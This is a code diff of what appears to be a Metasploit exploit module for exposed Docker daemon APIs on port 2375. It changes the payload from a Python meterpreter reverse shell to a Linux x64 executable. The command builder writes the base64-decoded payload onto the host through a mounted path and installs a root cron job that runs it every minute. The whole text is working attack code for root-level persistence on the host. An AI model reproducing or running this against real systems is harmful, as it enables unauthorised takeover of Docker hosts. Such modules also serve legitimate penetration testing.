@@ -32,24 +32,17 @@ def initialize(info = {})
32
32
[ 'URL' , 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket' ]
33
33
] ,
34
34
'DisclosureDate' => 'Jul 25, 2017' ,
35
- 'Targets' => [
36
- [ 'Python' , {
37
- 'Platform' => 'python' ,
38
- 'Arch' => ARCH_PYTHON ,
39
- 'Payload' => {
40
- 'Compat' => {
41
- 'ConnectionType' => 'reverse noconn none tunnel'
42
- }
43
- }
44
- } ]
45
- ] ,
46
- 'DefaultOptions' => { 'WfsDelay' => 180 , 'Payload' => 'python/meterpreter/reverse_tcp' } ,
35
+ 'Platform' => 'Linux' ,
36
+ 'Arch' => [ ARCH_X64 ] ,
37
+ 'Payload' => { 'Space' => 65000 } ,
38
+ 'Targets' => [ [ 'Linux' , { } ] ] ,
39
+ 'DefaultOptions' => { 'WfsDelay' => 180 } ,
47
40
'DefaultTarget' => 0 ) )
48
41
49
42
register_options (
50
43
[
51
44
Opt ::RPORT ( 2375 ) ,
52
- OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'python:3-slim ' ] ) ,
45
+ OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'alpine:latest ' ] ) ,
53
46
OptString . new ( 'CONTAINER_ID' , [ false , 'container id you would like' ] )
54
47
]
55
48
)
@@ -88,13 +81,10 @@ def make_cmd(mnt_path, cron_path, payload_path)
88
81
echo_cron_path = mnt_path + cron_path
89
82
echo_payload_path = mnt_path + payload_path
90
83
91
- cron_command = "python #{ payload_path } "
92
- payload_data = payload . raw
93
-
94
- command = "echo \" #{ payload_data } \" >> #{ echo_payload_path } && "
95
- command << "echo \" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{ echo_cron_path } && "
96
- command << "echo \" \" >> #{ echo_cron_path } && "
97
- command << "echo \" * * * * * root #{ cron_command } \" >> #{ echo_cron_path } "
84
+ command = "echo #{ Rex ::Text . encode_base64 ( payload . encoded_exe ) } | base64 -d > #{ echo_payload_path } \& \& chmod +x #{ echo_payload_path } \& \& "
85
+ command << "echo \" PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{ echo_cron_path } \& \& "
86
+ command << "echo \" \" >> #{ echo_cron_path } \& \& "
87
+ command << "echo \" * * * * * root #{ payload_path } \" >> #{ echo_cron_path } "
98
88
99
89
command
100
90
end
0 commit comments